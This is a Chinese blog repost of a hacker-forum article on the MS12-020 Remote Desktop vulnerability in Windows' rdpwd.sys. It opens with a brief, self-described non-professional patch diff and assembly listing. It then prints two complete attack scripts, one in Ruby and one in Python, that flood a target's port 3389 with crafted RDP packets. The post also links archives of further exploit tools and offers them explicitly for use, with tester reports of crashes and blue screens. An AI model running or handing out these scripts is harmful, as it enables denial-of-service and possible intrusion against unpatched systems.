(转)关于MS12-020漏洞利用的非专业分析[附真正的ruby利用脚本]

白天搜到的,python版本测试成功。上一篇就是根据这篇。

转自Silic Group: http://bbs.blackbap.org/thread-2419-1-1.html


        本文末尾将付上MS12-020真正的PoC,编写语言为ruby和python两个版本的,还有一个exe程序,均不需要什么freerdp包之类的东西。
Sabu写的那个不是MS12-020的shellcode,而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子,其他的地方还真没流传出来。
        新闻把这个炒作起来,完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。

PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的,因为既然有漏洞的文件知道了,就会有人根据分析有漏洞的文件写出shellcode,不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。
        其实之前我这里在14号当天就拿到了一个nasl的测试脚本,nasl版本的PoC真的要执行指定命令并不太容易,多数都拒绝服务了,不过测试中580byte的shellcode是成功率最高的。
也就是说,网上流传的截图也好,视频也好,有sent从一百两百到上万byte的PoC程序截图,这些截图明显就是假的了
OK,步入正文
//blackbap.org
         MS12-020于前天被爆存在高危远程代码执行漏洞,可以通过向远程桌面端口发送特定的RDP包获得管理员权限,存在漏洞的文件是 rdpwd.sys,出现漏洞的原因,恐怕现在网上已经泛滥的一塌糊涂了,那就是HandleAttachUserReq()函数。
         其实早在2011年8月的时候,微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞,漏洞代号是MS11-065。
注:本文并非专业分析
但是转载请注明本文来自:Silic Group Hacker Army[http://blackbap.org]
        首先,第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同:

更新前的代码:

    char __thiscall HandleAttachUserReq(int this, int a2, int a3)
    {
            int v3; // esi@1
            int v4; // eax@3
            int v6; // [sp-8h] [bp-18h]@3
            char v7; // [sp+4h] [bp-Ch]@3
            int v8; // [sp+8h] [bp-8h]@3
            int v9; // [sp+Ch] [bp-4h]@2
            v3 = this;
            *(_DWORD *)a3 = 1;
            if ( *(_BYTE *)(this + 16) & 0x20 )
            {
                    while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
                            ;
                    v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
                    v6 = *(_DWORD *)(v9 + 16);
                    if ( v4 )
                    {
                            CreateAttachUserCon(14, 0, 0, v6);
                            *(_DWORD *)(v9 + 20) = 9;
                    }
                    else
                    {
                            CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
                            *(_DWORD *)(v9 + 20) = 11;
                            *(_BYTE *)(v8 + 4) = 0;
                    }
                    if ( SendOutBuf(v3, v9) < 0 )
                            SListRemove(v3 + 112, v8, &v8);
            }
            return 1;
    }
更新后的代码:
    char __thiscall HandleAttachUserReq(int this, int a2, int a3)
    {
            int v3; // esi@1
            int v4; // eax@3
            int v6; // [sp-8h] [bp-18h]@3
            char v7; // [sp+4h] [bp-Ch]@3
            int v8; // [sp+8h] [bp-8h]@3
            int v9; // [sp+Ch] [bp-4h]@2
            v3 = this;
            *(_DWORD *)a3 = 1;
            if ( *(_BYTE *)(this + 16) & 0x20 )
            {
                    while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
                            ;
                    v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
                    v6 = *(_DWORD *)(v9 + 16);
                    if ( v4 )
                    {
                            CreateAttachUserCon(14, 0, 0, v6);
                            *(_DWORD *)(v9 + 20) = 9;
                    }
                    else
                    {
                            CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
                            *(_DWORD *)(v9 + 20) = 11;
                            *(_BYTE *)(v8 + 4) = 0;
                    }
                    if ( SendOutBuf(v3, v9) < 0 )
                    {
                            SListRemove(v3 + 112, v8, &v8);
                            //注意下面的if语句,这是更新后的代码 blackbap.org
                            if ( p )
                            {
                                    if ( !*((_BYE *)P + 5) )
                                    ExFreePoolWithTag(P, 0);
                            }
                    }
            }
            return 1;
    }
是的,代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用
原:
    0002CB30        @HandleAttachUserReq@16
    0002CBB8        push ss:[ebp+var_4]
    0002CBBB        push esi
    0002CBBC        call _SendOutBuf@8
    0002CBC1        test eax, eax
    0002CBC3        pop ebx
    0002CBC4        jge loc_2CBD6
    0002CBC6        lea eax, ss:[ebp+var_8]
    0002CBC9        push eax
    0002CBCA        push ss:[ebp+var_8]
    0002CBCD        add esi, 0x70
    0002CBD0        push esi
    0002CBD1        call _SListRemove@12
    0002CBD6        mov b1 a1, b1 1
    0002CBD8        pop esi
    0002CBD9        leave
    0002CBDA        retn b2 8

 这是后面加过检查和释放函数的:

    0002CB44        @HandleAttachUserReq@16
    0002CBCC        push ss:[ebp+var_4]
    0002CBCF        push esi
    0002CBD0        call _SendOutBuf@8
    0002CBD5        test eax, eax
    0002CBD7        jge loc_2CBD6
    0002CBD9        lea eax, ss:[ebp+var_P]
    0002CBDC        push eax
    0002CBDD        push ss:[ebp+var_P]
    0002CBE0        add esi, 0x70
    0002CBE3        push esi
    0002CBE4        call _SListRemove@12 //SListRemove(x,x,x)
    0002CBE9        mov eax, ss:[ebp+P]
    0002CBEC        cmp eax, ebx
    0002CBEE        jz loc_2CBFD
    0002CBF0        cmp b1 ds:[eax+5],b1 b1
    0002CBF3        jnz loc_2CBFD
    0002CBF5        push ebx        //Tag
    0002CBF6        push ebx        //P
    0002CBF7        call ds:[__imp__ExFreePoolWithTag@8]        //__imp__ExFreePoolWithTag@8,ExFreePoolWithTag(x,x)
    //CODE XREF: HandleAttachUserReq(x,x,x,x)+19j
    //HandleAttachUserReq(x,x,x,x)+94j ...
    0002CBFD        pop esi
    0002CBFE        mov b1 a1, b1 1
    0002CC00        pop ebx
    0002CC01        leave
    0002CC02        retn b2 8

通过检查,上述函数似乎只解决了内存泄露问题,并没有解决内存不释放的问题??
还有一个函数也是疑似检查用户数据的,疑似是边界的检查
    0001978A                 call    _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x)
    0001978F                 test    eax, eax
    00019791                 jz      short loc_1973D
    00019793                 push    0
    00019795                 push    esi
    00019796                 push    [ebp+arg_4]
    00019799                 push    [ebp+var_4]
    0001979C                 push    [ebp+var_8]
    0001979F                 push    [ebp+var_C]
    000197A2                 push    [ebp+arg_0]
    000197A5                 call    _WDWConnect@28  //WDWConnect(x,x,x,x,x,x,x)

上面这个函数我并没有做什么太大的分析,因为漏洞已经产生了,其实大家更想知道的,并不是这个漏洞如何产生的,而是这个漏洞怎么利用。

下面就贴出ruby语言的利用脚本:
  1     #!/usr/bin/env ruby
  2     # ms12-020 PoC
  3     # NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题
  4     # Author: Joshua J. Drake(jduck)
  5     # From: BlackBap.Org
  6     # Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
  7     require 'socket'
  8     def send_tpkt(sd, data)
  9       sd.write(make_tpkt(data))
 10     end
 11     def make_tpkt(data)
 12       [
 13         3,  # version
 14         0,  # reserved
 15         4 + data.length
 16       ].pack('CCn') + data
 17     end
 18     def make_x224(data)
 19       [ data.length ].pack('C') + data
 20     end
 21     def make_rdp(type, flags, data)
 22       [ type, flags, 4 + data.length ].pack('CCv') + data
 23     end
 24     host = ARGV.shift
 25     sd = TCPSocket.new(host, 3389)
 26     pkts1 = []
 27     # craft connection request
 28     rdp = make_rdp(1, 0, [ 0 ].pack('V'))
 29     x224_1 = make_x224([
 30       0xe0,  # Connection request
 31       0,     # ??
 32       0,     # SRC-REF
 33       0      # Class : Class 0
 34     ].pack('CnnC') + rdp)
 35     pkts1 << make_tpkt(x224_1)
 36     # craft connect-initial
 37     x224_2 = make_x224([
 38       0xf0,  # Data / Class 0
 39       0x80   # EOT: True / NR: 0
 40     ].pack('CC'))
 41     # mcsCi
 42     target_params = ""+
 43       #"\x02\x01\x00"+     # maxChannelIds
 44       "\x02\x04\x00\x00\x00\x22"+  # maxChannelIds
 45       "\x02\x04\x00\x00\x00\x0a"+  # maxUserIds
 46       "\x02\x04\x00\x00\x00\x00"+  # maxTokenIds
 47       "\x02\x04\x00\x00\x00\x01"+  # numPriorities
 48       "\x02\x04\x00\x00\x00\x00"+  # minThroughput
 49       "\x02\x04\x00\x00\x00\x01"+  # maxHeight
 50       "\x02\x02\xff\xff"+          # maxMCSPDUSize
 51       "\x02\x04\x00\x00\x00\x02"   # protocolVersion
 52     min_params = ""+
 53       "\x02\x04\x00\x00\x00\x01"+  # maxChannelIds      
 54       "\x02\x04\x00\x00\x00\x01"+  # maxUserIds         
 55       "\x02\x04\x00\x00\x00\x01"+  # maxTokenIds         
 56       "\x02\x04\x00\x00\x00\x01"+  # numPriorities      
 57       "\x02\x04\x00\x00\x00\x00"+  # minThroughput      
 58       "\x02\x04\x00\x00\x00\x01"+  # maxHeight           
 59       "\x02\x02\x04\x20"+          # maxMCSPDUSize
 60       "\x02\x04\x00\x00\x00\x02"   # protocolVersion
 61     max_params = ""+
 62       "\x02\x02\xff\xff"+          # maxChannelIds           
 63       "\x02\x02\xfc\x17"+          # maxUserIds              
 64       "\x02\x02\xff\xff"+          # maxTokenIds            
 65       "\x02\x04\x00\x00\x00\x01"+  # numPriorities           
 66       "\x02\x04\x00\x00\x00\x00"+  # minThroughput           
 67       "\x02\x04\x00\x00\x00\x01"+  # maxHeight               
 68       "\x02\x02\xff\xff"+          # maxMCSPDUSize
 69       "\x02\x04\x00\x00\x00\x02"   # protocolVersion
 70     userdata = ""+
 71       # gccCCrq
 72       "\x00\x05\x00\x14"+
 73       "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
 74       # clientCoreData
 75       "\x01\xc0"+"\xd8\x00"+  # header (type, len)
 76         "\x04\x00"+"\x08\x00"+ # version
 77         "\x80\x02"+ # desktop width
 78         "\xe0\x01"+ # desktop height
 79         "\x01\xca"+ # color depth
 80         "\x03\xaa"+ # SASSequence
 81         "\x09\x04\x00\x00" + # keyboard layout
 82         "\xce\x0e\x00\x00" + # client build number
 83         # client name
 84         "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
 85         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
 86         "\x04\x00\x00\x00"+ # keyboard type
 87         "\x00\x00\x00\x00"+ # kbd subType
 88         "\x0c\x00\x00\x00"+ # kbd FuncKey
 89         # imeFileName
 90         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
 91         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
 92         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
 93         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
 94         "\x01\xca"+ # postBeta2ColorDepth
 95         "\x01\x00"+ # clientProductId
 96         "\x00\x00\x00\x00" + # serialNumber
 97         "\x10\x00"+ # highColorDepth
 98         "\x07\x00"+ # supportedColorDepths
 99         "\x01\x00"+ # earlyCapabilityFlags
100         # clientDigProductId -poc has: "00000-000-0000000-00000"
101         "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
102         "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
103         "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
104         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
105         "\x00"+ # connectionType
106         "\x00"+ # pad1octet
107         "\x00\x00\x00\x00"+ # serverSelectedProtocol
108         "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
109         "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
110         "\x00\x00\x00\x00"+ # reserved
111       # clientSecurityData
112       "\x02\xc0"+"\x0c\x00"+ # header (type, len)
113         "\x1b\x00\x00\x00"+ # encryptionMethods
114         "\x00\x00\x00\x00"+ # extEncryptionMethods
115       # clientNetworkData
116       "\x03\xc0"+"\x2c\x00"+ # header (type, len)
117         "\x03\x00\x00\x00"+ # channel count!
118         # channel 0
119         "rdpdr\x00\x00\x00"+ # name
120         "\x00\x00\x80\x80"+  # options
121         # channel 1
122         "cliprdr\x00"+       # name
123         "\x00\x00\xa0\xc0"+  # options
124         # channel 2
125         "rdpsnd\x00\x00"+    # name
126         "\x00\x00\x00\xc0"   # options
127       # clientClusterData (not present)
128       # clientMonitorData (not present)
129     mcs_data = ""+
130         "\x04\x01\x01"+ # callingDomainSelector
131         "\x04\x01\x01"+ # calledDomainSelector
132         "\x01\x01\xff"+ # upwardFlag
133       #"\x30" + [ target_params.length ].pack('C') + target_params +
134       #"\x30" + [ min_params.length ].pack('C') + min_params +
135       #"\x30" + [ max_params.length ].pack('C') + max_params +
136       "\x30" + [ 0x19 ].pack('C') + target_params +
137       "\x30" + [ 0x19 ].pack('C') + min_params +
138       "\x30" + [ 0x1c ].pack('C') + max_params +
139       # userData
140       "\x04\x82" + [ userdata.length ].pack('n') + userdata
141     #mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n')  # connect-initial (0x65 / 101), length
142     mcs = "\x7f\x65\x82" + [ 0x194 ].pack('n')  # connect-initial (0x65 / 101), length
143     mcs << mcs_data
144     pkts1 << make_tpkt(x224_2 + mcs)
145     # send a special one?
146     pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")
147     # send more pkts! - based on poc
148     10.times {
149       pkts1 << make_tpkt(x224_2 + "\x28")
150     }
151     pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
152     pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
153     pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
154     pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
155     pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
156     pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
157     pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
158     pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
159     pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")
160     pkts1 << make_tpkt(x224_2 + "\x21\x80")
161     bigpkt = pkts1.join('')
162     loop {
163       sd.write(bigpkt)
164       send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
165       send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
166       send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
167       send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
168       # read connect-initial response
169       buf = sd.recv(1500)
170       # XXX: TODO: check response =)
171       #puts buf
172     }
173     sd.close
174     # BlackBap.Org
既然ruby的数据包上已经声明了,这个脚本是基于“Chinese Shit”的脚本所写,并且修正了“Chinese Shit”上面的不完全符合协议的数据包
那么我们再来看一下“Chinese Shit”的PoC又是什么样子的,Python语言:
    #ms12-020 "chinese shit" PoC v2 (wireshark版)
    # 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用
    # Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
    # 附件中添加time.sleep修正bug版本的py脚本
    # BlackBap.Org
    import socket
    import sys
    buf=""
    buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
    buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
    buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
    buf+="\x02\xf0\x80" # ITU-T Rec X.224
    buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125
    buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet
    buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
    buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
    buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
    buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
    buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
    buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
    buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
    buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
    buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
    buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
    buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
    buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
    buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
    buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
    buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
    buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
    buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
    buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
    buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
    buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
    buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
    buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
    buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
    buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
    buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
    buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
    buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
    buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
    buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
    buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
    buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
    buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
    buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
    buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
    buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
    buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
    buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
    buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
    buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
    buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
    buf+="\xc0"
    buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
    buf+="\x02\xf0\x80"  # ITU-T Rec X.224
    buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
    buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
    buf+="\x02\xf0\x80" # ITU-T Rec X.224
    buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
    buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
    buf+="\x02\xf0\x80" # ITU-T Rec X.224
    buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
    buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
    buf+="\x02\xf0\x80" #ITU-T Rec X.224
    buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
    buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
    buf+="\x02\xf0\x80" #ITU-T Rec X.224
    buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
    buf+="\x03\x00\x00\x0c"  # TPKT, Version 3, Lenght 12
    buf+="\x02\xf0\x80" #ITU-T Rec X.224
    buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
    buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
    buf+="\x02\xf0\x80" #ITU-T Rec X.224
    buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
    buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
    buf+="\x06\xd0\x00\x00\x12\x34\x00"  #ITU-T Rec X.224
    HOST = sys.argv[1]
    PORT = 3389
    for i in range(1000):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((HOST,PORT))
            print "sending: %d bytes" % len(buf)
            s.send(buf)
            rec = s.recv(100)
            print "received: %d bytes" % len(rec)
            s.close()
    # BlackBap.Org

 

据测试,上面版本的Chinese Shit仍然有很多bug,附件中新增了time.sleep修正bug版本的py脚本
如果你比较懒,可以直接下载以上PoC的压缩包,如果你比较勤快,可以点击以上代码的“复制代码”,并保存于记事本并重命名为xx.rb和xx.py并自己修正bug
http://115.com/file/e7s87ipd#

MS12-020利用工具-含bug修正版.rar
附件说明:
*
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC
*
* Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版
* 西班牙语XP SP3和Win7/R2都成功
*
* Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本
* 添加了time.sleep
*
* rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具
* Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的的娱乐版PoC
*
*
* Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
* BlackBap.Org
*----------------------------------
以下为非转载内容:
py的脚本请有条件的童鞋去linux测试下;
ruby的脚本在win下测试成功率(包括蓝屏)很高, 据三石解释, 如果蓝屏了, 那么是内存覆盖的区域错误, 如果不蓝屏直接重启了, 则表示shellcode执行成功;
最后, 附上一个根据ruby改写的exe程序, 效果应该是和ruby一致, 只不过不需要ruby的环境了, 欢迎大家测试:

 

http://115.com/file/e7s87ipd#

MS12-020利用工具-含bug修正版.rar

 

http://115.com/file/bewceec6#

ms12-020.rar

posted @ 2012-03-16 20:23  涅槃小鸟  阅读(1034)  评论(0编辑  收藏  举报